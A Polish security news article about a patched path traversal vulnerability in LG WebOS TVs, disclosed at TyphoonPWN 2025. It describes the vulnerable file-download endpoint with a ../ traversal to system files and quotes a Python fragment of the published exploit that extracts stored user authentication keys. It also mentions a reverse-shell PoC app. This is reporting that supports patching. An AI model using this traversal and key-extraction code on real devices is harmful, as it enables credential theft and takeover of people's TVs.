Mega Sekurak Hacking Party w Krakowie! 20.10.2025 r. Bilety -30%

Aktualizujcie telewizory LG – podatność path traversal w popularnym systemie operacyjnym telewizorów

21 września 2025, 23:14 | W biegu | 0 komentarzy

Naszym ulubionym hasłem, dotyczącym IoT jest to, które mówi, że litera “s” w tym skrócie pochodzi od “security”. Niestety oprócz przydatnych funkcji umilających życie, “smart” urządzenia niosą za sobą większą powierzchnię ataku. A ponieważ użytkownik domowy nie zawsze pamięta o aktualizacjach komputera osobistego czy telefonu, to prawdopodobieństwo wgrania potrzebnych łatek na losowe urządzenie “smart” jak telewizor, czajnik czy odkurzacz jest jeszcze mniejsze.

TLDR:

  • Podczas TyphoonPWN 2025 badacze bezpieczeństwa zaprezentowali podatność typu path traversal w systemie LG WebOS 43UT8050.
  • Luka pozwala na dostęp do do plików systemowych, a w szczególności bazy danych zawierającej klucze uwierzytelniające użytkowników, którzy wcześniej łączyli się z urządzeniem. 
  • Wykorzystując te poświadczenia atakujący mogą uzyskać dostęp do urządzenia, uruchomić tryb developerski i zainstalować złośliwe aplikacje – przejmując cały telewizor.
  • Aby atak się powiódł potrzebny jest nośnik USB wpięty do portu urządzenia.

Urządzenia pod kontrolą systemu operacyjnego LG WebOS 43UT8050 obarczone są poważną podatnością, która w idealnych warunkach może prowadzić do przejęcia urządzenia. Producent potwierdził istnienie podatności w biuletynie bezpieczeństwa o identyfikatorze SMR-SEP-2025. Stosowna łatka również została wydana. 

Na blogu SSD-Disclosure pojawił się dokładny opis oraz PoC podatności. Wektorem ataku jest aplikacja webowa na porcie TCP/18888. Usługa ta jest uruchamiana w momencie podłączenia pamięci masowej do portu USB urządzenia. Dzięki niej użytkownicy w sieci lokalnej, mogą pobierać pliki przy pomocy udostępnionego API. 

Kierując się pod adres http://<ip>:18888/getFile?path=<ścieżka> użytkownicy (niezalogowani) z tej samej sieci lokalnej, mogą pobierać pliki z katalogu /tmp/usb oraz /tmp/home.office.documentviewer – miejsca podmontowania nośnika USB. Zaryzykujemy stwierdzenie, że każdy, kto miał styczność z bezpieczeństwem aplikacji WWW (lub szerzej – bezpieczeństwem aplikacji, które udostępniały jakieś zasoby), zastanowiłby się przez chwile, czy ścieżka podana w parametrze path jest poprawnie obsługiwana po stronie serwera… Okazało się, że no nie do końca i prosta sekwencja ../ wykorzystywana do przejścia jeden poziom wyżej w hierarchii katalogów, pozwala na opuszczenie katalogów zdefiniowanych przez producenta w celu współdzielenia plików. Tym samym atakujący w sieci lokalnej, który ma dostęp do podatnego urządzenia (z uruchomioną usługą WWW) jest w stanie czytać pliki systemowe, a szczególnie zawartość katalogu /var/db/main/. To tam trafiają nie tylko pliki logu, ale także klucze poprzednio podłączonych użytkowników.

  def get_keys(self):
        results = []
        if 0:
            print("get manifest file")
            self.get_file(self.tvdb_path + "/" + "CURRENT", "/var/db/main/CURRENT")
            manifest = ""
            with open(self.tvdb_path + "/" + "CURRENT", "r") as f:
                manifest = f.read().strip("\r\n")
            self.get_file(
                self.tvdb_path + "/" + manifest, "/var/db/main/{}".format(str(manifest))
            )
            print("get database file")
            self.get_file(self.tvdb_path + "/" + "LOG", "/var/db/main/LOG")
            self.get_file(self.tvdb_path + "/" + "LOG.old", "/var/db/main/LOG.old")
            dbindex = []
            with open(self.tvdb_path + "/" + "LOG", "r") as f:
                for line in f:
                    # print(line)
                    matches = re.findall(r"Generated table #(\d+)", line)
                    if len(matches) > 0:
                        dbindex = dbindex + matches
            with open(self.tvdb_path + "/" + "LOG.old", "r") as f:
                for line in f:
                    # print(line)
                    matches = re.findall(r"Generated table #(\d+)", line)
                    if len(matches) > 0:
                        dbindex = dbindex + matches
            print(dbindex)
            # db_files = ["/var/db/main/CURRENT", "/var/db/main/MANIFEST-000482", "000501.ldb", "000502.ldb", "000503.ldb", "000504.ldb", "000505.ldb"]
            for i in dbindex:
                self.get_file(
                    self.tvdb_path + "/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i),
                    "/var/db/main/" + "0" * (6 - len(str(i))) + "{}.ldb".format(i),
                )
        ldb_dir = self.tvdb_path
        db = plyvel.DB(ldb_dir, create_if_missing=False)
        for key, value in db:
            key_str = key.decode("utf-8", errors="ignore")
            val_str = value.decode("utf-8", errors="ignore")
            # print(f"Key(raw): {key}")
            # print(f"Value(raw): {value}\n")
            if "READ_INSTALLED_APPS" in val_str:
                # if True:
                key = re.findall(r"\b[a-fA-F0-9]{32}\b", val_str)
                # print(key)
                # if key != '':
                results.append(key[0])
        print(results)
        return results

Listing 1. Fragment exploita przedstawionego przez ssd-diclosure – funkcja wyłuskująca klucze użytkowników z bazy danych na lokalnym systemie plików urządzenia (źródło)

Korzystając z tych informacji oraz API, atakujący może uruchomić tryb deweloperski oraz przygotować złośliwą aplikację .ipk, którą zainstaluje na urządzeniu. W zademonstrowanym PoC (ang. Proof of Concept), jest to prosty reverse shell (połączenie zwrotne z powłoką użytkownika), który pozwala na przejęcie pełnej kontroli nad urządzeniem. 

Atak jest bardzo prosty, jednak wymaga szczególnej, fizycznej można powiedzieć, konfiguracji – skorzystania z portu USB w telewizorze. Oprócz tego atakujący musi się znaleźć w sieci lokalnej (lub coś musi pójść bardzo nie tak, aby dostęp sieciowy do telewizora był możliwo z Internetu). Telewizory nie są też urządzeniami do przetwarzania krytycznych informacji, jak komputery osobiste czy telefony, więc wpływ tej podatności na użytkowników nie będzie ogromny. Z drugiej strony pełna kontrola urządzenia w sieci to możliwość wykorzystania go jako przesiadki, a jeśli takowy telewizor posiada mikrofon, do którego dostęp mogą mieć zainstalowane w systemie operacyjnym aplikacje – to robi się problem. 

Zalecamy jak najszybszą aktualizację Waszych telewizorów. Swoją drogą to dobry moment aby pomyśleć o segmentacji sieci i wrzuceniu urządzeń IoT do oddzielnych vlanów. My w tym czasie zaktualizujemy naszą lutownicę na architekturze risc-v (to nie żart, na szczęście obyło się bez krytycznej podatności…). 

~Black Hat Logan

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz